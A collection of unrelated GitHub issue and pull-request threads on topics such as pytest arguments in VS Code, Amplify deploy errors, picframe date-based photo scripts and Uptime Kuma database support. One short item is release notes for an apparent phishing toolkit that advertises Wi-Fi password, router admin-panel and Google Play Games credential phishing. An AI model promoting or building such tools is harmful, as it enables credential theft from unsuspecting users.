Hi! You can see if it is enabled for you by setting  "python.analysis.logLevel": "Trace", in your user settings then check for 2023-07-05 16:06:27.767 [info] Experiment 'pythonTestAdapter' is active in your python logs. If that message is printed then the rewrite is enabled. I will try and repro this later but if you send over your python logs then I might be able to diagnose it quicker. Thanks for your help!!

This is my python log if I run the test in the Testing tab:
2023-07-07 22:38:26.077 [warning] Unknown command line option passed into args parser for tests '--test_option'. Please report on https://github.com/Microsoft/vscode-python/issues/new
2023-07-07 22:38:26.077 [info] Running PYTEST execution for the following test ids: test_example.py::test_example
2023-07-07 22:38:26.077 [info] Server listening on port 35477
2023-07-07 22:38:26.084 [info] Running pytests with arguments: /home/phil/.vscode/extensions/ms-python.python-2023.13.11881007/pythonFiles/vscode_pytest/run_pytest_script.py --rootdir /home/phil/Projects/pytest-vscode-parameters --test_option

2023-07-07 22:38:26.084 [info] > /usr/bin/python ~/.vscode/extensions/ms-python.python-2023.13.11881007/pythonFiles/vscode_pytest/run_pytest_script.py --rootdir . --test_option
2023-07-07 22:38:26.084 [info] cwd: .
2023-07-07 22:38:26.199 [info] Test server connected to a client.
2023-07-07 22:38:26.214 [info] Client disconnected

And this if I just run the discovery with the Refresh Tests button:
2023-07-07 22:42:58.794 [info] Discover tests for workspace name: pytest-vscode-parameters - uri: /home/phil/Projects/pytest-vscode-parameters
2023-07-07 22:42:58.794 [info] Running discovery for pytest using the new test adapter.
2023-07-07 22:42:58.808 [info] > /usr/bin/python -m pytest -p vscode_pytest --collect-only . --test_option asd
2023-07-07 22:42:58.808 [info] cwd: .
2023-07-07 22:42:58.912 [info] Test server connected to a client.
2023-07-07 22:42:58.913 [info] Using result resolver for discovery

The log does not change if I set or unset the logLevel to Trace. It feels like the settings are not applied at all?
But we can see that the --test_option asd is added properly on discovery, but not for the real test.

hm yes I can see from 2023-07-07 22:42:58.808 [info] > /usr/bin/python -m pytest -p vscode_pytest --collect-only . --test_option asd it is running the new code, maybe it didn't print that it was on the setting since that log is set on startup of the extension. Either way it is running the new stuff. Thanks for checking I will look into this more!!

There is a workaround for this issue if I use the parameter like this:

At least it is usable now, but it would be great if the arguments would work in the same way as for pytest:
pytest --test_option asd and pytest --test_option=asd both work if I call it directly from a terminal.

Hi! Sorry haven't followed up on this in a minute. On further investigation, this is related to a larger issue around settings which the team will be discussing soon. I will update with information after that.

I created a proposal with a solution for this problem, would love your input on the above issue! https://github.com/microsoft/vscode-python/issues/21845

I'm not 100% sure it's related but the same happens when using pytest-timeout:
Run completed, parsing output
Error while running tests: test_successful_command
TypeError: Cannot read properties of null (reading 'testsuites')

Error while running tests:
TypeError: Cannot read properties of null (reading 'testsuites')

Hi all, actually just posted in #22032 about a similar issue and just want to call out that I have args, but when I have -n 8 (part of pytest-xdist for distributing across cpu cores) I can't debug the tests with that error. Just removing the flags works fine and I can debug the tests.

@nsheaps thank you for your contribution! We will keep this in mind as we work through the proposal!

I am getting this error on a very simple pytest project. Cannot get debugging to work.
It does not matter for me whether I use pytestArgs or not. Will always get the same error when trying to debug a test:
Error while running tests: test_git_auth_foo_bar
TypeError: Cannot read properties of null (reading 'testsuites')

Error while running tests:
TypeError: Cannot read properties of null (reading 'testsuites')

Not sure what's going on.
Just tried in another project. Same error there :(
This used to work, as there has been some time while I did not do any python development I cannot say at what time it stopped working.

hm interesting- could you open an new bug report since this is likely a different problem? Primarily I would need logs from the python output channel but if you use the report issue command on vscode it will gather all this info for you. Thanks!

Ok, will do that, thanks.


To listen to community's voice on airdrop!

Is your feature request related to a problem? Please describe.
this is related more to community voice
Describe the solution you'd like
to have an independent review on community's opinion
Describe alternatives you've considered
alternative would be to have STARK people to give their findings but definitely not as independent

This space is only for technical discussions for starknet.js. None of the decision makers from the Starknet Foundation are active here so voicing grievances about their decisions here won't reach them.  Discord and other social media are better avenues for such feedback.


Fix: require cycle warning

Fix related to issue: https://github.com/TheWidlarzGroup/rn-emoji-keyboard/issues/72

Wrong begin branch.


No error output even no zip file in var directory

How did you install the Amplify CLI?
npm install -g @aws-amplify/cli
If applicable, what version of Node.js are you using?
v16.18.0
Amplify CLI Version
10.7.3
What operating system are you using?
MAC M1
Did you make any manual changes to the cloud resources managed by Amplify? Please describe the changes made.
No manual changes
Describe the bug
Backendbuild fails locally and remote
Errormessage not usable
No zip log File generated
Expected behavior
Should show me a error message or at least generate an error zip
Reproduction steps
amplify migrate perhaps my GraphQL.shema is wrong but how can I find out ?
Project Identifier
36d4c405c5d2a8293fe6a5b2a72ea07f
Log output

2023-02-26T20:59:19.583Z|info : amplify-provider-awscloudformation.aws-cfn.getStackEvents.cfnModel.describeStackEvents([{"StackName":"[***]ify-[***]rack-[***]is-[***]933"}])
2023-02-26T20:59:20.127Z|info : amplify-provider-awscloudformation.aws-cfn.getStackEvents.cfnModel.describeStackEvents([{"StackName":"[***]rmation:eu-[***]ral-[***]28:stack/[***]ify-[***]rack-[***]is-[***]933/[***]b380-[***]55-[***]ed-[***]13-[***]68700"}])
2023-02-26T20:59:49.578Z|info : amplify-provider-awscloudformation.aws-cfn.getStackEvents.cfnModel.describeStackEvents([{"StackName":"[***]ify-[***]rack-[***]is-[***]933"}])
2023-02-26T20:59:50.143Z|info : amplify-provider-awscloudformation.aws-cfn.getStackEvents.cfnModel.describeStackEvents([{"StackName":"[***]rmation:eu-[***]ral-[***]28:stack/[***]ify-[***]rack-[***]is-[***]933/[***]b380-[***]55-[***]ed-[***]13-[***]68700"}])
2023-02-26T20:59:52.094Z|error : Resource is not in the state stackUpdateComplete
DeploymentFault: Resource is not in the state stackUpdateComplete
2023-02-26T21:06:15.068Z|info : amplify version core  {"version":true,"yes":false}

Additional information
Here the srcreenOutput
I made an amplify serve.    At the end You can see that there is no error zip even no directory with the zip
? Are you sure you want to continue? Yes
Deployment failed.
Deploying root stack Artbarrack [ =========================-----------
amplify-artbarrack-alis-235933 AWS::CloudFormation::Stack     UPDATE_
storageItemStorage             AWS::CloudFormation::Stack     UPDATE_
functionartbarrackf557cb0ePre… AWS::CloudFormation::Stack     UPDATE_
authartbarrackf557cb0e         AWS::CloudFormation::Stack     UPDATE_
apiartApi                      AWS::CloudFormation::Stack     UPDATE_
authuserPoolGroups             AWS::CloudFormation::Stack     UPDATE_
Deployed auth artbarrackf557cb0e [ ===================================
Deployed auth userPoolGroups [ =======================================
Deploying function myqueryresolver [ ---------------------------------
Deploying function reorganize [ --------------------------------------
Deployed function artbarrackf557cb0ePreAuthentication [ ==============
🛑 The following resources failed to deploy:
🛑 Resource is not in the state stackUpdateComplete
Learn more at: https://docs.amplify.aws/cli/project/troubleshooting/
Session Identifier: bd709ceb-87fc-4626-b1f9-4bc6e378104a
✅ Report saved: /var/folders/2w/cs5c31ln07l07km7mt594pnc0000gq/T/Artbarrack/report-1677445189855.zip
✔ Done
Project Identifier: 36d4c405c5d2a8293fe6a5b2a72ea07f
daphne code$ cd /var/folders/2w/cs5c31ln07l07km7mt594pnc0000gq/T/A
Pressing TAB now to see the possibilities:
AppTranslocation/         AudioComponentRegistrar/
No Artbarrack subDir as mentioned in the Report saved line.
Before submitting, please confirm:

[X] I have done my best to include a minimal, self-contained set of instructions for consistently reproducing the issue.
[X] I have removed any sensitive information from my code snippets and submission.

Hey @ErhardScampi glad to hear it's able to generate properly after deleting the folder, and I believe you might be right. In any event, I think that is a reasonable move to add timestamps to the foldername or create a folder name that will always be lowercase. Something like
os.tmpdir()/amplify-${projectName.toLowerCase()}

I've transferred this back over to the CLI repo and will be marking this as a feature request to improve the experience here 🙂


Adding a one more component in blogs section

Describe the feature
Adding a one more component so that the space is left for one component it will be fill. A website looks more good
Add ScreenShots

Record

[X] I agree to follow this project's Code of Conduct
[X] I'm a GSSOC'23 contributor
[X] I want to work on this issue

Please assigned me
On Sat, Jul 15, 2023, 6:45 PM github-actions[bot] @.***>
wrote:

👋 @2020B1531074 https://github.com/2020B1531074
Thank you for raising an issue. We will investigate into the matter and
get back to you as soon as possible.
Please make sure you have given us as much context as possible.
—
Reply to this email directly, view it on GitHub
https://github.com/MonalikaPatnaik/UMatter/issues/1054#issuecomment-1636762623,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AXO4H7VDKX4AECEURRMMOE3XQKJWTANCNFSM6AAAAAA2LJHXLQ
.
You are receiving this because you were mentioned.Message ID:
@.***>


Add jobs search system spec

VCR records request/response to cassettes which can be replayed for testing purposes.
In order to ensure we can all use the same test files and avoid the need for app IDs or secrets in the pipeline, responses have been anonymised and use the placeholder environment variables.
For now VCR has been implemented only for algolia search, and mainly for a single spec file. There is a generic algoliasearch cassette which can be used to stub a useful response for other specs.
In future I imagine we may want to refine this approach, and also add cassettes to improve other system specs that call out to external API services (e.g Google Drive API).
Changes in this PR

Add VCR gem
Update Algolia config for test environment
Add a jobs search system spec

Review app deployed to https://teaching-vacancies-review-pr-2867.london.cloudapps.digital


Fixed an infinite loop

Hey there, there's a bug that causes an infinite loop if a polyamorous pawn with a polyamorous fiancee attempts to start a new relationship. This pull request fixes that.

Thanks! Should be updated in 42fa43b


[dev-js] Remove usage of jsonplaceholder API

Same as #47 but for JavaScript template.

 Create React Saga - Q3.22 update


Please provide a QR code matching template for app use

Hi, ~
Please provide a QR code parsing matching rule for payment generated by different wallets，easyzone use this rule to parse data.
Thank u

Here is the conclusion for the QR code pattern

a service will be provided to return all the elements with string format for app side combination usage.

integrated into Qmoon API services

Here is the commit for this feature at primary solution: fix commit in webinjumio

close it with positive feedback from Front end


How do I apply the MIT License to Open Zeppelin Code?

The source code provided by Open Zeppelin is under the MIT License.  If I include code from Open Zeppelin in my contract where/how should I include the MIT copyright notice and the permission notice?

Hi! the best resource I've found for learning about licenses is. TLDRLegal—here's the MIT license page! https://tldrlegal.com/license/mit-license

So I just need to include the license text in any MIT licensed code I use?

Basically, you can do whatever you want as long as you include the original copyright and license notice in any copy of the software/source.

yes


Feature Requeset:

Hi Octarines, thanks a lot for that lovely module, I have many uses for them. I'd like to suggest a few feature requests if you have time:

Being able to create presets that could be called quickly rather than configuring them every time.
OR

Being able to export an hourglass and its configuration as a macro that could be called quickly

Being able to configure a sound loop that could play while an hourglass is running and a final sound to play once the hourglass expires.

Thanks again!

Awesome!

I have captured the remaining suggestions for the inclusion of sound based elements on my backlog so will close this issue. thanks again


HTTP option

Hello.
Can someone explains how to setup the HTTP and the commands that can be used ?
Thanks.

Hi, In the configuration.yaml file you need to set the line   use_http: True. If you keep all the other options as default you will be able to get a super cut-down web page on your local network with the IP of the RPi and port 9000i.e. <IP_ADDRESS>:9000
The web page options should be self explanatory but you can also use the http interface to send instructions if you don't want to set up an MQTT server. You can then change setting with a line or two of python code, for instance to darken the screen when no movement has been detected for a while (from my PIR code):
from urllib import request

URL = "http://localhost:9000"
...
            request.urlopen(f"{URL}?display_is_on=OFF")
            request.urlopen(f"{URL}?brightness=0.0")

The code behind the HTTP interface tries to interpret the GET parameters from the request as controller methods and arguments. See here https://github.com/helgeerbe/picframe/blob/main/src/picframe/controller.py and relate it to the snipped of code above.

Thank You for your answer.
What I am trying todo is making the frame display photos on a certain date (nice for birthdays, anniversaries, etc.)
For example, if the software checks every time the date is changed to a new day if there is a directory for that date and displays it.
The directory name contains the date for example #1002.jpg
Will be displayed on 2nd October.
I do not know linux and no python, can you please show a python example to change the directory?
Thanks Meir.

Ah yes. I will have a think about that. The database of photos just holds the exif datetime but I think a view could allow selection by month and day of month. That would be an ideal way to do what you want, but would require quite a bit of hacking. In the mean time I will post a small python script to check the date, check if there's a directory matching, and if there is send an http request to the picframe.
I have also found there is a bit of a problem sending empty strings to set the subdirectory, location_filter and tags_filter via http, so that needs to be fixed.

Here's a simple python script. It assumes you have a directory named as the date i.e. for your example
/home/pi/Pictures/1002/
where you will put special pictures to show on that day.
import time
import datetime
import os
from urllib import request

CHECK_TM = 600 # every ten  minutes
ROOT_DIR = "/home/pi/Pictures" # could make a sub subdirectory at extra coomplication
URL = "http://localhost:9000"

last_day = 0 # will trigger first time round loop
while True: # or should allow some way to stop this
    date_now = datetime.datetime.now()
    if date_now.day != last_day: # only do this once per day when date rolls over
        last_day = date_now.day
        subdirectory = f"{date_now.month:02}{date_now.day:02}"
        if subdirectory in os.listdir(ROOT_DIR): # there is no verification or error catching here!!
            request.urlopen(f"{URL}?subdirectory={subdirectory}")
        else:
            request.urlopen(f"{URL}?subdirectory=") # set back to all - this only works with the mod I will add to the dev branch
    time.sleep(CHECK_TM)

In order for the subdirectory to be cleared I had to fix line 121 in /home/pi/venv_picframe/lib/python3.11/site-packages/picframe/interface_http.py
                        if value != "" or key in ("subdirectory", "location_filter", "tags_filter"):  # parse_qsl can return empty string for value when just querying

I will add the fix to the dev branch then pull it into main later so you can update picframe and it should work OK.
You also need to make this python script start automatically. You should follow the same instructions for setting up picframe to start automatically. I saved the python script in /home/pi/picframe_data/check_date.py then put this in /home/pi/.config/systemd/user/check_date.service
[Unit]
Description=Check GPIO and send message to picframe http

[Service]
ExecStart=/bin/python3 /home/pi/picframe_data/check_date.py  ### or wherever this is
Restart=always

[Install]
WantedBy=default.target

and you have to enable the service
systemctl --user enable check_date.service etc as per the picframe wiki or Wolfgang's pages
Paddy

I thank you very much for Your help.
Instead of checking every 10 minutes if the date has changed, is it possible to create a Triger with crontab at 00:01 and check if the date matches one of directories as in turning the screen off and on at certain times?

Yes, I suppose you could do that. The code would be almost the same but you wouldn't need the while True: loop. Something like this (I've not tested this, though I did the previous version). You can use systemd instead of crontab, it's generally supposed to be better, but there's a lot more help online for cron as it's been around for so long!
import datetime
import os
from urllib import request

ROOT_DIR = "/home/pi/Pictures" # could make a sub subdirectory at extra coomplication
URL = "http://localhost:9000"

date_now = datetime.datetime.now()
subdirectory = f"{date_now.month:02}{date_now.day:02}"
full_url = f"{URL}?subdirectory="
if subdirectory in os.listdir(ROOT_DIR): # there is no verification or error catching here!!
    full_url += subdirectory
request.urlopen(full_url) # set back to all only works with the mod I will add to the dev branch

Thanks.
To be sure, I summarize the actions I need to perform:

Create a file with type .py and copy the script you wrote into it.
Correct line 121 in the "interface_http.py" file.
Create a file /home/pi/.config/systemd/user/check_date.service   and paste the lines you wrote for the autostart.
enable the service.
Is it correct ?

Sounds good. Also, to be clear, my check_date.service file is based on my setup here running on RPi3, if you are running on Pi4 or 5 you might need to do a variation (i.e. possibly sudo in various places and different location) Check back to whatever instructions you originally followed! I've pushed up the mod to the picframe repo dev branch https://github.com/helgeerbe/picframe/compare/main...dev so you should be able to:
cd ~
source /home/pi/venv_picframe/bin/activate
python -m pip install git+https://github.com/helgeerbe/picframe@dev --upgrade

If you go down the cron route using the second script then you don't need to worry about setting up the systemd stuff.
Let me know how you get on.

Thank You.
My setup is also RPi3B.

Hi
I tried the first script (which checks every 10 minutes) and when I change the date manually (sudo date -s "2024-05-03 11:00:00
the directory with the pictures - 0503) the image on the screen at that moment freezes and I have to reboot the pi.
Any idea why this is happening?
Does changing the manual date cause this?

I tried the same on a pi without the script and it works normal but the clock on the display did not change to the new time I set.

I ran the script through systemd.
The image on the screen (Not the particular photo for the date I set) freezes (also the clock on the screen) and I have to reboot the pi.
I tried changing the clock on a pi without the script and it works normal but the clock on the display did not change to the new time I set.

I tried to create a directory 0919 but it's not working I can see all the pictures and not the picture from the directory 0919.

I added two print commands to the script to see what happens and it seems to work.
The strange thing is that when I select the root directory all the images are displayed including the ones in the sub-directories.
when I run the following script manually I get:
0919
directory_ok
so the directory name is ok and the compare is also ok.
import time
import datetime
import os
from urllib import request
CHECK_TM = 60 # every ten  minutes
ROOT_DIR = "/home/pi/Pictures" # could make a sub subdirectory at extra coomplication
URL = "http://localhost:9000"
last_day = 0 # will trigger first time round loop
while True: # or should allow some way to stop this
date_now = datetime.datetime.now()
if date_now.day != last_day: # only do this once per day when date rolls over
last_day = date_now.day
subdirectory = f"{date_now.month:02}{date_now.day:02}"
print(subdirectory)
if subdirectory in os.listdir(ROOT_DIR): # there is no verification or error catching here!!
print("directory_ok")
request.urlopen(f"{URL}?subdirectory={subdirectory}")
else:
request.urlopen(f"{URL}?subdirectory=") # set back to all - this only works with the mod I will add to the dev branch
time.sleep(CHECK_TM)

OK, that sounds like '.. no errors but display doesn't change..' how did you get on checking the http interface? You should really make sure everything works manually before trying to automate it. Also checking messages on journalctl, anything interesting?

Hi, thanks for your patience, I'm trying and learning along the way.
After many attempts and apparently mistakes that I made, it seems that now it works when running from crontab.
The strange thing is that when the images are displayed from the pictures directory, the images from all the sub directories are also displayed, is it supposed to be like this?

That's brilliant, well done. Yes, it's a kind of feature insofar as you can structure your directories to get images to show specially but, if you want, be included in a larger collection.PaddyOn 21 Sep 2024 12:43, meirmark @.***> wrote:
Hi, thanks for your patience, I'm trying and learning along the way.
After many attempts and apparently mistakes that I made, it seems that now it works when running from crontab.
The strange thing is that when the images are displayed from the pictures directory, the images from all the sub directories are also displayed, is it supposed to be like this?
—Reply to this email directly, view it on GitHub, or unsubscribe.You are receiving this because you commented.Message ID: @.***>

Hi, I'm sorry to bother you, I need some more help.
Changing the partitions by date works great, the problem is that when images from the root directory are displayed, images from the subdirectories are also displayed, which is not desirable.
To solve the problem I created a partition called main which will contain all the images that are displayed all days instead of the root directory.
In order for the images from the main directory to be displayed, I wrote a script that sends a HTTP command to change the displayed partition and it works fine.
boot_main_dir.py
import urllib.request
URL = "http://localhost:9000"
urllib.request.urlopen(f"{URL}?subdirectory=main")
The problem is that I can't run it automatically after boot.
I tried to add a line in CRONTAB that will run the script 10 seconds after boot and it doesn't work.
@reboot sleep 20 && python3 /home/pi/picframe_data/boot_main_dir.py
I tried with SYSTEMD and it didn't work either.
Please if you can help.

I do not know why is the fonts so big.

Hi, asking questions isn't something you need to apologise for. From memory, you can set the subdirectory for picframe to use at startup in the configuration.yaml file. The order of things happening and which user owns which process is one of the headaches that systemd is reputed to solve, but configuration.yaml sounds the way to go.

Thank You very much, it works, now the frame do exactly what I wanted.

I do not know why is the fonts so big.

Hi @meirmark the strange formatting was caused by your strings ---------- and =======. Generally speaking I only use an occasional * and the back-tick or accent_grave ` (you get two of them if you press the <> in the header. If you want something to look like python you can do three back-ticks followed by the language, then a block followed by another three back-ticks
```python
print("hi there")
```

Hi.
Good to know, thank you for all Your help.


Limit parallel processing for clients

Motivation
Clients run out of memory because they have no limit on how many transactions or solutions they verify in parallel. This PR proposes to queue them (just like the validator does in Consensus) and limit how much parallel verification we do.
We can do a lot of clever things to increase the processing speed, like check how many constraints the incoming transactions have, await on a channel to rapidly start verifying, but the focus for now is simplicity and safety.
Even though it was recently suggested clients should have at least 128 GiB of memory, the current implementation uses "only" up to 30 GiB for transaction verification. The right number is up for debate.
Test Plan
CI passed
Ran a local network shooting some executions.
In canary, more serious concurrent traffic can be shot at the network.
Related PRs
Potentially closes: https://github.com/AleoNet/snarkOS/issues/3341
Replaces: https://github.com/AleoNet/snarkOS/pull/2970

An open design question is how much memory should be reserved for worst case transaction + solution verification.
Summoning @evanmarshall @zosorock @Meshiest . Provable previously recommended that clients should have 128 GiB of RAM, but I understand you and others want to run with less RAM. So my questions to you:

What do you think is a sufficient default amount of RAM which should be assumed to be available for transaction/solution verification?
How badly do you want an additional feature flag which lets you increase the amount of RAM used for transaction/solution verification?

I have an undiversified node operational experience so I don't have a good estimate for 1 and personally haven't run into anything needing the feature flag from 2
The main limiter we've observed in client sync is core count. 16 cores was barely able to keep up with block production on canary after the 15tps tests. Upgrading a client VM from 16 to 32 cores massively increased sync speed. Our servers with more than 64 cores were powerhouses when syncing. RAM seemed less important in our tests, though we weren't using large programs or verifying any solutions.

@raychu86 sorry added a separate execution queue, I couldn't let a simple 200x improvement in max throughput slide (assuming available compute): 9049f3e34

In theory we could also use the sysinfo crate to fetch the total memory of the machine thats running the node.

Yes thought about it, but this dynamic behaviour will complicate infra planning too much I think, so I think there should rather be a --available-ram flag or something if users have very diverse preferences.

@vicsn Is this PR still relevant?

@vicsn Is this PR still relevant?

Yes I believe this to still be relevant to reduce client downtime. The main alternative would be to recommend the ecosystem to auto-restart their clients if they OOM, but still such events will lead to, in web3 terms, FUD. :D
I finally got around to testing this on a devnet, we can clearly see how the memory usage on the 2nd and 3rd peak (which runs with this PR) is capped at a lower point now. If I would increase the # of deployments, the first peak would keep growing until hitting OOM.

Overall processing speed of deployments does not seem impacted because its already limited at the validators.

CI link:
https://app.circleci.com/pipelines/github/AleoNet/snarkOS?branch=pull%2F3358%2Fhead


Add rustls feature.

I hereby agree to the terms of the CLA available at: https://yandex.ru/legal/cla/?lang=en
Pull request type
Please check the type of change your PR introduces:

[ ] Bugfix
[x] Feature
[ ] Code style update (formatting, renaming)
[ ] Refactoring (no functional changes, no api changes)
[ ] Build related changes
[ ] Documentation content changes
[ ] Other (please describe):

Hello.
Thanks to PR.
It is not need option for native-tls: request used for get token from cloud instance metagata only. Main grpc queries work with tonic and tonic use rustls.
It will good to use rustls for request too without build options.

Hello
I understood (i hope) and corrected


Kubernetes SD: Add labels for all node addresses and discover node port

Fixes #1680 by allowing relabelling to any discovered node IP.
Also switches to discovered node port if available via API, overriding default configured node port.

Thanks!

You're very welcome :)


add a cancel current scan button

whenever a scan is running. add a button to cancel the current operation and not do anything...

clear_command_queu in exsi client, empty the queue of commands that are waiting to be executed. Make sure the state of tool returns to what it was before you clicked the button. Connect gui and tool, where the tool has the command. Dofieldmapscan --> waits for two scans to finish and queues two scans,
start with dofieldmapscan --> understand sequence of events from button defined, connection btw gui and tool, whats tool doing with function and how its communicating with exsi client and what its waiting on


[WFCORE-6388] Upgrade Undertow to 2.3.7.Final

Jira: https://issues.redhat.com/browse/WFCORE-6388
    Release Notes - Undertow - Version 2.3.7.Final

        Bug

[UNDERTOW-1996] -         RequestLimit active-request leak caused by reading data through InputStream in user-defined thread pool when using async servlet

[UNDERTOW-2216] -         directory listing paths should be relative

[UNDERTOW-2241] -         Undertow write-timeout can cause missing the last zero-length chunk in long polling

[UNDERTOW-2243] -         Eager flush/close on content length response prevents POST from finishing

[UNDERTOW-2255] -         503 response in ProxyHandler when backend supports HTTP/2

[UNDERTOW-2270] -          io.undertow.servlet.spec.HttpServletRequestImpl NPE thrown

[UNDERTOW-2276] -         HeaderMap.contains NPE on empty HeaderValues

[UNDERTOW-2277] -         ServletOutputStream/ServletPrinter allows mismatch between content-length header and length of message

        Task

[UNDERTOW-1896] -         NetworkUtils - improve  IPv6 address parsing

        Enhancement

[UNDERTOW-2247] -         Add support to recursive writes at HttpResponseConduit

[UNDERTOW-2248] -         WriteTimeoutStreamSinkConduit should clear the expireTime on timeout

[UNDERTOW-2267] -         Fix change in behaviour of Servlet.init() method when loadOnStartup is required

Thanks @fl4via !


Postgres support

⚠ Please verify that this feature request has NOT been suggested before.

[X] I checked and didn't find similar feature request

🏷 Feature Request Type
Other
🔖 Feature description
Allow users to use an external Postgres database to store all configuration/info for Uptime Kuma
✔ Solution
Add support for Postgred databases
❓ Alternatives
Add support for MySQL though personally, I think Postgres is better.
📝 Additional Context
I think currently, data is store with sqlite? I would rather store my data on my existing database server because I have backup routines, etc, which will protect the data. I like to keep the dat a spearate from the app so I can just reinstall the app, point it at the correct database

going to cross reference #894. I don't know if its Louis saying he wont support other databases, or just that they arent supported RN tho.
also gonna cross reference #953

I have made branch with mysql support in my fork. See my comment in #953.
Adding postgres support should be just a few lines of code in knexfile.js. Please read the comment and try it out if you can

Postgres support will be great

Postgres should be possible in my fork, you can try it out. Just edit knexfile.js

Postgres should be possible in my fork, you can try it out. Just edit knexfile.js

There are people who would love to use uptime-kuma if it had Postgres support. It's great to hear your fork supports Postgres - can you/someone explain to me why your fork can't be merged back into this uptime-kuma repo?

@gc-ss It's still work in progress, or more of a proof of concept. There are a few things to be decided upon and I dont think I am the one who should do it.
Read my comment, where I explaned it a bit

I dont think I am the one who should do it.

The usecase here is to allow multiple sources to write/update uptime-kuma concurrently.
I imagine the reason why a lot of interest in Postgres exists is to allow concurrent writes and people are ready to employ Postgres instead of trying to scale SQLite.
Is that why you too added Postgres support?
I believe there's a way where we can just continue to use the current SQLite integration and also allow concurrent writes. Here's how:
There is a copy of SQLite that has fantastic concurrent write support.
This is a great article by itself but feel free to jump to the last paragraph
https://blog.expensify.com/2018/01/08/scaling-sqlite-to-4m-qps-on-a-single-server/amp/

If I can chase this copy of SQLite with concurrent write support down
Will you be able to help test it with me and ensure it works with uptime Kuma without breaking existing uptime Kuma functionality?

Again - Thank You for your contributions and time!

If by concurrent writes you mean running multiple instances of kuma on a single database, then I think that will break a lot of things in kuma.
I added primarily MySQL support because I wanted to deploy kuma to Google Cloud Run (docker on google cloud), which does not support writing to local files. Additionally I prefer having data stored in a traditional database, as having it in a SQLite file insde a continer seems like a black box to me. I have not finished/worked on it as I am busy with school and work currently.
I am afraid kuma will not opt to use this copy (fork) of SQLite by default, as it seems to solve only one peculiar requirment, which might collide with another requirment of another user. I personally am wary of using smaller forks of software, as many times they lack support and maintenance of the original.
Why do you need concurrent writes to kuma database? What is your "business case"?

I had been running Kuma for some time now and like it.
Yesterday I started to consolidate my PostgreSQL Servers into a hosted Database Service to remove the burden of managing multiple server instances. I wanted to include the Kuma database too so that I have all data and backups in one place, but sadly Kuma only supports SQLite!?
It would be awesome if Kuma could support PostgreSQL!

Any hope of this, or MySQL, being merged in any time soon? I'm running Uptime Kuma locally with a database size of approx. 700MB (around 50 separate checks so far), and I'm finding the performance worsens over time at about the same rate I experienced with Grafana before I moved that service to using a separate database. I'd really like to move Uptime Kuma to using my Postgres or MySQL/MariaDB servers, for better interactive performance.

Guys, please add support for PostgreSQL or other DBMS with the possibility of a normal HA architecture! In production, SQLite looks like the wrong solution.

is it possible to add this, would love to have an HA solution for my Kubernetes uptime-kuma

@Freezepop @Maven35
Just having postgres support is not sufficient for it to be HA. It requires more changes than just database backend.

@trogper you are correct, but getting off of SQLite is at least a step toward that. I'm aware that there would have to be other serious architectural changes to the application to support multiple instances of the application running concurrently.

How could I go about implementing this? I would like to have a go.

@Milo123459 if your mean postgres support, I have already done it, but it is not merged and I don't think it will be. It will probably be included in 2.0 release

Oh, my bad. Do you know when it will be merged?

No, I don't. Louislam is working on it, there's a branch and a pull request for tracking the progress

Thanks! Can you send the PR link over please?

I had been running Kuma for some time now and like it.
Yesterday I started to consolidate my PostgreSQL Servers into a hosted Database Service to remove the burden of managing multiple server instances. I wanted to include the Kuma database too so that I have all data and backups in one place, but sadly Kuma only supports SQLite!?
It would be awesome if Kuma could support PostgreSQL!

wouldn't SQLite -> postgres replication be enough?

I had been running Kuma for some time now and like it.
Yesterday I started to consolidate my PostgreSQL Servers into a hosted Database Service to remove the burden of managing multiple server instances. I wanted to include the Kuma database too so that I have all data and backups in one place, but sadly Kuma only supports SQLite!?
It would be awesome if Kuma could support PostgreSQL!

wouldn't SQLite -> postgres replication be enough?

sqlite is notoriously bad for performance and causes monitoring to fail with several monitoring instance

I think different database options are very much needed. With about 160 monitors on our Uptime Kuma instance, I believe SQLite is heavily bottlenecking performance for every single page load. We plan to split our monitors between a second host and the original, but I think we could squeeze a lot more out if we had support for a real database.

Not really a database issue, more a "how do we use the db"- issue.
v2 will be able to support way more monitors even using sqlite aggregated storage and other improvements like https://github.com/louislam/uptime-kuma/pull/3515
Benchmarking of the newer limit is currently outstanding, as waiting for a few bugfixes.
See https://github.com/louislam/uptime-kuma/pull/4171 for further context
If you are running into problems with 160 monitors, something fishy is going on. Normally users report probelms after 500-800 monitors.

Thank you for the additional context.

If you are running into problems with 160 monitors, something fishy is going on. Normally users report probelms after 500-800 monitors.

We are running Uptime Kuma on a thin client, so it does have limited resources, but we didn't expect it to start getting choked up on page loads this quickly. I will be eager to test v2 and see the improvements.

Any update about integrating any DBMS?

@fabry006
Please see my post from a month ago: https://github.com/louislam/uptime-kuma/issues/959#issuecomment-1894730411

Just going to add onto this saying I've experienced issues with 50 monitors @ 5 sec intervals, after about a week the UI fails to load by timeout

@lucyrose39
You actually don't want the issue you are posting in
there is a good reason why the 20s minimum exists. Sending a ping of every 100ms fills the database rapidly.
Please refer to our plans for the v2.0 release https://github.com/louislam/uptime-kuma/issues/4500
Meanwhile, reduce the retention, reduce the time between heartbeats, use faster storage or shard via using a different instance for some monitors.
As stated in said pinned issue:
The v2.0 comes with better performance through external MariaDB, storing heartbeats in an aggregated form, full server-side pagination for important events
=> even though benchmarking is still out, we are confident that this pushes the prominent "limits" (highly hardware-dependent, not a limit imposed by us) ~500 Monitor or ~1.5GB DB-size

How can we attach PostgreSQL to Uptime with Compose file
Any reference?

What do you mean by attach?
Do you mean monitor? (if yes: just use the url to said instance)
Do you mean as a database: see https://github.com/louislam/uptime-kuma/issues/959#issuecomment-1894730411

No can i use postgre sql to store data
instead of SQL

PostgreSQL also uses SQL.
Assuming you mean SQLite3:
As written in above comment, v2.0 will come with the ability to use maridb/mysql. Postgres is not on the table (see linked PR) for v2.0 as the addition to be able to choose another DB (See pinned issue) is enough support effort/work for the time being.
=> The needed testing and verification effort is postponed to a future major/minor release

Thanks

+1 for postgres support. It will be way easier to use Uptime-Kuma in kubernetes


v2.0.4

🥰From your love and support introducing our new Phishing tools.🥰
➕ Added  3 more new tools.
🔰option no. 33🔰
✔ [Wi-Fi admin-panel(TP-Link)]✨
🔰option no. 34🔰
✔ Wi-Fi Password Phishing.✨
🔰option no. 35🔰
✔Google play games (for game id Phishing )✨
🙏If you like our tools then give us ⭐, because it doesn't need money🙏
☢Thanking You☢
@tech2gamer
@Bhaviktutorials

please add "update" option in the tool🥺

Nothing!


[Feature Request]: Define LLM config as a separate build place

Is your feature request related to a problem? Please describe.
Having to define the same config for a LLM in the Agents and Workflows is clumsy and repetitive. It would be useful to define the LLM config once and then just select them when needed.
Describe the solution you'd like
Drop down selection of the created LLM configs.
Additional context
No response

